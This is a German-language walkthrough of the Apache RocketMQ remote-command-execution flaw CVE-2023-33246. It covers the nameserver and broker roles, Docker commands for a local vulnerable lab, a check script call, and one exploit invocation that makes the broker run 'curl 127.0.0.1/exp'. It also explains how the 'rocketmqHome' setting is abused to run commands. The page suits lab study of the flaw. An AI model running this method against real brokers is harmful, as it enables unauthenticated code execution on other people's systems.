
Exploit für Apache RocketMQ RCE (CVE-2023-33246), der über die Konfigurationsaktualisierungsfunktion beliebige Befehle ausführt, mit Umgebungseinrichtung und Anwendungsbeispielen.
Apache RocketMQ ist eine der beliebtesten und am weitesten verbreiteten Plattformen für verteiltes Messaging und Streaming. Kürzlich wurde eine Befehlsausführungslücke in Apache RocketMQ gemeldet, die die Version 5.1.0 und darunter betrifft. Ein entfernter, nicht authentifizierter Benutzer kann diese Schwachstelle ausnutzen, indem er die Funktion zum Aktualisieren der Konfiguration verwendet, um Befehle mit denselben Zugriffsrechten auszuführen, wie sie der RocketMQ-Benutzerprozess hat.
Der Nameserver in RocketMQ fungiert als Registrierungs- oder Metadatenspeicher für die gesamte Messaging-Infrastruktur.
Er enthält Informationen über Topics, Queues und die Broker, die für die Nachrichtenverarbeitung zuständig sind.
Clients (Producer und Consumer) nutzen den Nameserver, um die Broker zu finden, mit denen sie für das Veröffentlichen oder Abrufen von Nachrichten kommunizieren müssen.
Der Nameserver ist verantwortlich für dynamisches Routing, Lastausgleich und Failover innerhalb des RocketMQ-Clusters.
Er hört auf einem bestimmten Port (standardmäßig Port 9876) auf eingehende Anfragen von Clients und Brokern.
Broker sind die Arbeitstiere des RocketMQ-Systems, verantwortlich für die Speicherung und Verwaltung von Nachrichten.
Jeder Broker verwaltet ein oder mehrere Topics, bei denen es sich um logische Kanäle für die Nachrichtenkommunikation handelt.
Producer veröffentlichen Nachrichten zu bestimmten Topics, und Consumer abonnieren Topics, um Nachrichten zu empfangen.
Broker übernehmen die Nachrichtenspeicherung, -replikation und -zustellung an Consumer basierend auf Abonnements und Nachrichtenkonsummustern.
Sie verwalten Nachrichtenwarteschlangen für jede Topic-Partition, um eine effiziente Nachrichtenverarbeitung und -zustellung sicherzustellen.
Broker kommunizieren mit Nameservern, um sich zu registrieren, Metadaten zu aktualisieren und an den Routing- und Lastausgleichsmechanismen des Clusters teilzunehmen.
Einrichtung einer lokalen RocketMQ-Umgebung mit Docker
docker pull apache/rocketmq:4.9.4
### Start nameserver
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### Start Broker
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

Die Funktion UpdateBrokerConfig() wird ausgelöst, wenn eine Anfrage mit dem Code '25' eingeht, der dem RequestCode zugeordnet ist.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

Wir nutzen die Serverkonfiguration "rocketmqHome" aus der broker.conf-Datei. Diese Konfiguration setzt den Wert der Umgebungsvariable ROCKETMQ_HOME im RocketMQ-Benutzerprozess. Durch geschickte Anpassung dieses Wertes können wir Befehle unserer Wahl ausführen.

so funktioniert diese Schwachstelle..